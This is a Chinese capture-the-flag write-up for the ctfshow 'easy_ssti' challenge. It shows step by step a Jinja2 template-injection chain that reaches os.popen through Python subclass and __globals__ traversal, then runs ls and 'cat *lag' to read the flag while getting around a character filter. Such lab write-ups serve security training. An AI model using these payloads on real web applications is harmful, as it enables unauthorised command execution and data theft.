easy_ssti_ctfshow_2023愚人杯

https://ctf.show/challenges#easy_ssti-3969

2023愚人杯

0aaf80533d9943b02fa2989bdc5aa7e

有提示app.zip,访问

https://1f660587-5340-4b20-b929-c4549d9a5d4b.challenge.ctf.show/app.zip

得到压缩包,拿到一个py文件

aa7d335ec9c0084ccad97c9cc9dcf1a

可以看到参数名是name,对参数进行筛选,包含ge或者不包含f

访问

/hello/<name>

下面想办法找到一个function

  • payload
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()}}

f74e0c282dbe737b541a2eaf0e1a185

其中<class 'os._wrap_close'>就是os对象类

这里可以自己写段代码找找os在第几位

ori_str = """这里面就放网页复制的,篇幅原因我不放进去"""
ori_list = ori_str.split(",")
for index, item in enumerate(ori_list):if "os._wrap_close" in item:print(index)

0eef9cc9051148d8bef87a0c31c5ebe

成功拿到os对象类

48edee4f0f78f0e1a9f0d52314e5061

如何拿到popen函数?

先获取对象的__init__属性,接着使用__globals__获取函数作用域下方法,里面则包含popen

https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}

img

下面就可以为所欲为了


img

  • 获取当前文件目录
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}hello app.py app.zip templates
  • 获取上级文件目录
https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd .. && ls').read()}}# 先cd ..回到上级目录 再用ls读取hello app bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

发现flag了,读取flag文件,因为屏蔽了f,所有这里使用通配符

https://223ff55e-0cee-495b-ac39-ea55e8d6fc2d.challenge.ctf.show/hello/
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd .. && cat *lag').read()}}

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/7027.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

人力资源管理新视野:挖掘员工潜力,共筑卓越未来

在21世纪的商业环境中&#xff0c;企业的成功不再仅仅依赖于资本、技术和市场策略&#xff0c;而更多地依赖于其人力资源的有效管理。人力资源管理的新视野正致力于挖掘员工的潜力&#xff0c;为企业创造持续的价值&#xff0c;共筑卓越的未来。 一、员工潜力的挖掘 员工是企业…

Linux如何查看JDK的安装路径

方法1 echo $JAVA_HOME 如果配置了系统就会输出配置为JAVA_HOME的jdk的的位置&#xff0c;如果没有配置就没有输出&#xff0c;推荐使用方法2 方法2(推荐) 关键命令分别为 1. which java 2. ls -lrt /usr/bin/java &#xff08;路径依照自己的输出灵活去改&…

《Fundamentals of Power Electronics》——脉宽调制器建模

下图给出了一个简单脉宽调制器电路的原理图。 脉宽调制器电路产生一个用于指令转换器功率管导通和关断的逻辑信号δ(t)。该逻辑信号δ(t)是周期性的&#xff0c;其频率为fs&#xff0c;占空比为d(t)。脉宽调制器的输入是一个模拟控制信号vc(t)。脉宽调制器的作用是产生一个与模…

Qt QShortcut快捷键类详解

1.简介 QShortcut是一个方便的工具类&#xff0c;用于在应用程序中创建快捷键。通过设置快捷键和关联的处理函数&#xff0c;可以实现快速执行某个操作的功能。 // 创建一个快捷键&#xff0c;关联到MyWidget类的keyPressEvent()函数 QShortcut *shortcut new QShortcut(QKe…

生产管理驾驶舱模板分享,制造业都来抄作业!

今天要讲的是一张从组织、生产车间、物料、仓库、时间等不同维度&#xff0c;展示产能、产量、投入成本、产能达成率等关键信息&#xff0c;让企业运营决策者全面了解生产产能情况、产量情况、投入成本情况、产能达成率情况的BI生产管理驾驶舱模板。这是奥威BI标准方案为设有生…

问题管理员的工作角色、职责和技能

问题管理就是识别、分析和解决反复出现的根本原因问题并永久修复它们。听起来很简单对吧&#xff0c;不幸的是&#xff0c;情况并非总是如此。对于组织来说&#xff0c;IT问题管理一直是一门棘手的 ITSM 学科。一个经常被忽视的关键因素是有效的问题 管理不仅仅是工具和流程。 …

Yarn的安装和使用详细教程(Mac/Window)

目录 Yarn是什么&#xff1f; Mac安装Yarn 使用Homebrew安装Yarn 使用npm安装Yarn Windows安装Yarn 使用npm安装Yarn Yarn使用 常用命令&#xff1a; 特殊命令&#xff1a; Yarn是什么&#xff1f; Yarn是一个流行的包管理工具&#xff0c;用于管理JavaScript项目的依…

Linux的打包压缩

为什么要打包压缩 文件传输: 在网络上传输多个文件时&#xff0c;可能会因为文件的数量和大小造成传输效率低下。打包可以将多个文件合并为一个文件进行传输&#xff0c;减少网络连接的次数&#xff0c;避免网络传输的开销。压缩文件的体积更小&#xff0c;可以减少网络带宽的消…

Swagger使用和注释介绍

一&#xff1a;介绍 1、什么是Swagger Swagger是一个规范和完整的框架&#xff0c;用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。总体目标是使客户端和文件系统作为服务器以同样的速度来更新。文件的方法&#xff0c;参数和模型紧密集成到服务器端的代码&#xff…

karateclub,一个超酷的 Python 库!

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 大家好&#xff0c;今天为大家分享一个超酷的 Python 库 - karateclub。 Github地址&#xff1a;https://github.com/benedekrozemberczki/karateclub Python karateclub是一个用于图嵌入和图聚类的库&#xff…

Springboot+mybatis升级版(Postman测试)

一、项目结构 1.导入依赖 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apach…

ollama 运行第三方模型

ollama 运行第三方模型 Ollama 默认直接支持很多模型,只需要简单的使用 ollama run命令,示例如下: ollama run gemma:2b就可安装、启动、使用对应模型,这个命令在模型不存在的时候会自动查找并且下载模型,然后运行模型,官方支持的模型我们可以通过https://ollama.com/l…

平面分割--------PCL

平面分割 bool PclTool::planeSegmentation(pcl::PointCloud<pcl::PointXYZ>::Ptr cloud, pcl::ModelCoefficients::Ptr coefficients, pcl::PointIndices::Ptr inliers) {std::cout << "Point cloud data: " << cloud->points.size() <<…

8.【Orangepi Zero2】UDEV的配置文件,自动挂载U盘

8.UDEV的配置文件&#xff0c;自动挂载U盘 UDEV的配置文件udev 规则的匹配键挂载U盘手动挂载U盘自动挂载usbpan.rules tree命令 UDEV的配置文件 参考文章&#xff1a;Linux 基础 – udev 和 rules 使用规则5 规则文件是 udev 里最重要的部分&#xff0c;默认是存放在 /etc/ud…

CVE-2019-19945漏洞复现 Openwrt针对uhttpd漏洞利用

根据官方漏洞的文档&#xff0c;该漏洞的复现工作我会基于openwrt的18.06.4这个版本进行测试。我选取的环境是渗透测试常用的kali-Linux系统&#xff0c;然后在其中搭建docker环境来完成相应的实验环境的部署。我通过这个核心命令获取docker环境&#xff1a; sudo docker impo…

OSINT技术情报精选·2024年4月第4周

OSINT技术情报精选2024年4月第4周 2024.4.30版权声明&#xff1a;本文为博主chszs的原创文章&#xff0c;未经博主允许不得转载。 1、山西证券&#xff1a;《边缘AI行业深度&#xff1a;边缘AI硬件&#xff0c;引领硬件创新时代》 边缘 AI 是云端算力的有效补充&#xff0c;…

自己写了一个jq的toast弹窗框架引入之后调用报错$.toast is not a function

toast.js (function($) { $.toast function(message) {var toast $(#toast);toast.find(.toast-message).text(message);toast.fadeIn(function () {setTimeout(function () {toast.fadeOut();}, 3000); // 持续时间3秒})toast.click(function(){toast.fadeOut();}) } }) 页…

SDWebImage源码分析

[TOC](SDWebImage源码分析 基本框架UIKit层工具层SDWebImageManagerSDImageCacheSDWebImageDownloaderdownloadImageWithURL 基本框架 SDWebImage作为一个著名的iOS图像加载库&#xff0c;其源码主要包括以下几个核心部分&#xff1a; 图片下载管理&#xff1a;SDWebImageMan…

微信答题链接怎么做_新手也能快速上手制作

在数字营销日新月异的今天&#xff0c;如何有效吸引用户参与、提升品牌曝光度&#xff0c;成为了每一个营销人都在思考的问题。而微信答题链接&#xff0c;作为一种新兴的互动营销方式&#xff0c;正以其独特的魅力&#xff0c;在营销界掀起一股新的热潮。今天&#xff0c;就让…

从C向C++16——常见容器2

一.stack容器 1.stack理解 概念&#xff1a; stack是一种先进后出的数据结构&#xff0c;它只有一个出口。 它在C中也叫栈&#xff0c;类似于我们在《数据结构和算法》里面的栈&#xff0c;只不过在C中把其封装成库&#xff0c;我们可以直接使用。 注意&#xff1a;栈中只有…